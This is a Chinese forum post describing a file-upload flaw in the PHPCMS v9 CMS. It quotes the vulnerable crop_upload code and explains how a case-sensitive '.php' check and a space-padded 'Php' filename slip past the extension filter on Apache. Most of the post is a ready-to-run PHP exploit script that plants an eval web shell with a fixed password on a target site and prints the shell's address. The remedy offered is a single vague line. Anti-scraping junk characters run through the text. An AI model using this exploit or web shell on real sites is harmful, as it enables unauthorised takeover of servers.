找回密码
 立即注册
查看: 2992|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行& F4 I+ `  ?: j6 k7 O3 J0 H
: W* k# g& \6 l; z
简要描述:8 a9 g" S; N. X, j& E+ K
: \1 B: K7 R  e3 |4 W, e
phpcms v9 getshell (apache)
$ T* s- K" ]  H: q8 V) D9 O详细说明:" g! l' S8 S0 }# d

0 q) f8 W3 l# h- ~4 Z* X漏洞文件:phpcms\modules\attachment\attachments.php
8 p9 w! t+ C$ p& N2 i$ L6 D6 h8 z2 ~2 _" y" o
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } - J& M* F7 ]. u* H9 ]
后缀检测:phpcms\modules\attachment\functions\global.func.php* I7 j! ?: K5 A. x
9 ^- F7 }; R  d: Z3 S/ a

( J6 _7 d4 c- X4 f
' z3 ?/ V. n2 d2 @4 ^' Sfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
/ g& M8 ~/ G" @7 b! ?/ j  c+ V# D# G: V
关键函数:8 l; D9 k/ i3 g; B1 S1 t, \4 L9 t
$ @' x% Y+ |' F1 ^; K
$ e% f+ B& H% v+ ]! {8 P
" C: H- L/ _- T$ v5 Z
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
! w! y/ t  Q* ^) A, a, \" f: |
$ n! W( p' w! Z2 Y; {  Fileext函数是对文件后缀名的提取。
( G- E, y  u* F根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php5 I$ y* U, U/ d9 N$ V$ T
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
; z9 Y4 n. i/ o  d我们回到public function crop_upload() 函数中
) X* O$ Q+ m; f% i/ Iif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
) C5 f" D6 S- T% @$ Y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数) G8 V+ Y# l! }4 ]' E
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
; d- [3 ^+ A" Z经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。/ @6 b1 _! r3 s, p3 O) F
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。8 u6 c! ~, N% f3 b7 _- u
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
- u! b" J- R; K漏洞证明:
* L& \1 w, t/ ^2 B: g. T  C1 p! g! H2 r- T% w. v& ?9 V$ m4 d! E$ S
exp:0 o! d  R: M+ v' T- q8 ?1 e
! e+ k/ J- c3 W! r  \3 C: s
<?php+ X. g+ l, g7 X) {
error_reporting(E_ERROR);& V$ F$ C  i) y& t$ }; s
set_time_limit(0);4 h+ d) i6 W, R1 A: }: S6 a2 ~
$pass="ln";
7 q( }( @9 w( G3 p& I* {: E0 y. [print_r('
5 ]; X8 a2 j  c) B+---------------------------------------------------------------------------+: {7 U. V7 U$ A9 U( `& T1 c
PHPCms V9 GETSHELL 0DAY ) d1 P% l: i3 [% j
code by L.N.6 V9 c; p9 c, m: }
0 _7 R5 u1 ?% Z
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net/ U6 `" c) A  I3 P1 d
+---------------------------------------------------------------------------+
: f  L/ @2 S# R! [! M');7 x, p! C9 ?1 c% t( U, v- q8 M, W" P
if ($argc < 2) {
0 Z, l5 v+ }9 L8 V! rprint_r('
1 J- K* Y  `( g$ K5 e" `8 S8 l2 Q+---------------------------------------------------------------------------+
0 w6 M' r2 J, h6 x8 [% D2 `! Z) gUsage: php '.$argv[0].' url path
( u: U( d) o4 _5 D! n6 J
+ I) G. o  n" w: i* XExample:
5 m) l( a: ?. `! Q- E  P' M3 u4 {, n1.php '.$argv[0].' lanu.sinaapp.com
  `% p0 ]  Z+ h1 l4 Q2.php '.$argv[0].' lanu.sinaapp.com /phpcms
, \( }& y/ Q* `" U1 D, [+---------------------------------------------------------------------------+
* C( Q& u. |" ^- U');
* g0 s# F( F( A4 X+ J$ c( ~7 dexit;/ V, f7 f$ W- Q5 u. R
}6 c$ X4 h# m) Y) @5 B  u( h0 t

& F( K4 `$ q8 s4 x# Z- ?3 m! J$url = $argv[1];
$ n+ g/ u  b- X1 X5 \, N) s$path = $argv[2];& S4 }$ W- t6 p" E
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
" r# t! o: I! }( x  X* z$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';! V9 @4 ]' ~$ v7 i# w! o
if($ret=Create_dir($url,$path))/ \% j; T$ t% ?, _
{, F6 j6 C8 J6 t7 Q7 i) Z
//echo $ret;
, d( Y9 f' L" f: n$pattern = "|Server:[^,]+?|U";
) z- K: p& E' ?  R% Vpreg_match_all($pattern, $ret, $matches);
" f# T+ c2 }( i. tif($matches[0][0])+ H0 Y7 E& H# g5 n3 V- W) G% C; A5 W
{
% j) c6 {; J0 G8 |9 V. Iif(strpos($matches[0][0],'Apache') == false). T2 A3 [0 u7 r- _6 p5 i# ?
{
) o6 y' ^+ D/ j$ w+ I, pecho "\n亲!此网站不是apache的网站。\n";exit;
/ x( v1 i1 P; `, ]2 K}
8 F; G' R$ H! m}
" D* X, j' `) s2 M  ?2 _$ret = GetShell($url,$phpshell,$path,$file);
8 o- j& Y9 o9 V* [, M3 Y9 r7 d$pattern = "|http:\/\/[^,]+?\.,?|U";+ E  T" T" W6 x2 R- g1 ~
preg_match_all($pattern, $ret, $matches);  V+ K. C! {0 T5 R3 E
if($matches[0][0])4 p; J3 ?6 Q6 g3 A" q: R& h: y
{6 a$ Y9 i3 M& S2 F% n2 E
echo "\n".'密码为: '.$pass."\n";
1 v# {- X" x2 secho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
. o: [, o5 e6 h; k' {4 @/ m/ M}
3 k; @# y* r0 r6 |! W+ P6 ?else
* [6 W& \( ?  O3 y# w5 b{5 B- A" ~2 u1 e
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";. Z6 }) M7 A( F. G. U
preg_match_all($pattern, $ret, $matches);
" ~# I, V) @$ |# J# Z* _( J/ p$ ]! Xif($matches[0][0])( S) B8 o" {: T) l
{
2 j+ z6 u4 u- R5 c! h- pecho "\n".'密码为: '.$pass."\n";
: B6 w! `9 i. b, [* zecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;$ F8 k0 j$ Q( J& d. q0 J
}
4 ^# T& ^; `' E6 X, {' Velse
" X# N$ v. C5 N# R9 v{
0 D* L% v/ h# B8 wecho "\r\n没得到!\n";exit;. U5 ~8 O1 K# H. y% C/ a
}
: s, \1 t$ z1 J. ~}
5 A5 P; F; T4 x8 m}4 n, Y; {: w7 s' y. L
4 G5 V# I# _; e2 T8 q2 {
function GetShell($url,$shell,$path,$js)
, t+ A0 H2 c9 x/ ~7 u; o8 G* @, D* i{
  S# @7 t2 g1 W* B! B$content =$shell;9 R- E% w# M$ y  U. Z5 i
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";; S: M" |  t1 G. D- U
$data .= "Host: ".$url."\r\n";
0 L7 R4 B# v5 Y0 |( a; C$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 v1 W; P( ^5 E9 I! f1 g1 l; k
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 S- [# B9 M) q. l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";$ ^) z9 o2 N) o2 s3 f8 R
$data .= "Connection: close\r\n";
9 G- f* E, `- a( e! j' x$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" d# e+ P  f# S  c( V& c  h+ }5 h1 a$data .= $content."\r\n";/ R5 D; n  `3 F9 k) i7 f* n& M! h
$ock=fsockopen($url,80);4 t; z% l) m/ H
if (!$ock)
& H& E: |, u3 e6 P8 J{/ x, ~/ |( I& O, c
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ C% L0 j* p- p$ k
}1 U+ C% K, j$ H- a
else
1 X) r8 R* O8 \" D1 d0 o$ r{
; k9 b" Q& W6 w" Qfwrite($ock,$data);
: ]# x" u) [0 n' t% C7 u& A$resp = '';8 d+ G) U+ ~: I# {% m* `3 e+ K
while (!feof($ock))' d( l8 v/ v3 k
{
7 T) C6 Y# Y& h4 Q! C: |/ s5 J$resp.=fread($ock, 1024);
6 i0 ^( }  _% b% `" b$ ]! Y; e+ k}
: ^+ ?. s& y6 s- K: k2 ?: xreturn $resp;
# F2 W, @) J0 [7 M3 r# h+ S, U  |}
$ b; i* M- X7 R# x/ {" ^}
3 V  d- e  f4 k$ _; j( @! c( C
% q- m% S3 O4 @; kfunction Create_dir($url,$path='')+ X) a$ q* O* o0 P1 n5 d2 _/ y
{
, L# V: r$ ?' U( u* L# _6 P$content ='I love you';- U9 ]3 m% J/ t; H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 k, N- {" n3 o9 k8 a7 m3 H5 \
$data .= "Host: ".$url."\r\n";
8 D4 a% K9 t# P: w" Y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
' O5 e; m/ P6 |! d- c$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 Q1 P: k  Y+ n4 H$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
1 {- f7 t! X  v* e1 ]$data .= "Connection: close\r\n";$ P1 Q  g! k# K$ T
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 g3 S' ^& N  H- g$data .= $content."\r\n";
# w+ c2 e8 s$ L5 m6 |4 r7 t, @$ock=fsockopen($url,80);* \+ e: i7 q6 C/ Z3 i7 }2 f. F5 @
if (!$ock)
& u) ^6 [* j$ Q5 j6 ~9 E/ y( S% L/ n{
- O7 [+ A3 n; y! g9 wecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
1 S% ~, g- x+ c$ @}! _, _) }' c- m
fwrite($ock,$data);$ A/ L$ d9 W! {. q8 w- J8 d
$resp = '';; k5 ~" O- O6 h+ p% e- a. d& `8 X0 u
while (!feof($ock))
2 c* Q, S3 X& l) O) q! X' [2 B{
# p9 U) e0 p0 Z, W9 B" D' G$resp.=fread($ock, 1024);, J+ \! x; P: h
}% J5 ~+ b9 _+ S$ c) v
return $resp;
' L( f( w4 x% G* F}
& ~- s2 ^) A& t% r6 }?> ( x) D8 M: ~& r3 W! ]- M! {5 v0 `

7 p( ~! t7 M$ o' @2 v, j修复方案:5 d# L- T, b2 B7 q+ e9 X0 O: ]

% n, J( H+ J) z9 ?8 b3 i$ O过滤过滤再过滤. x" m' `9 a6 A2 F2 i; H
, {6 u6 v3 x1 U+ l1 |. R  c* e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表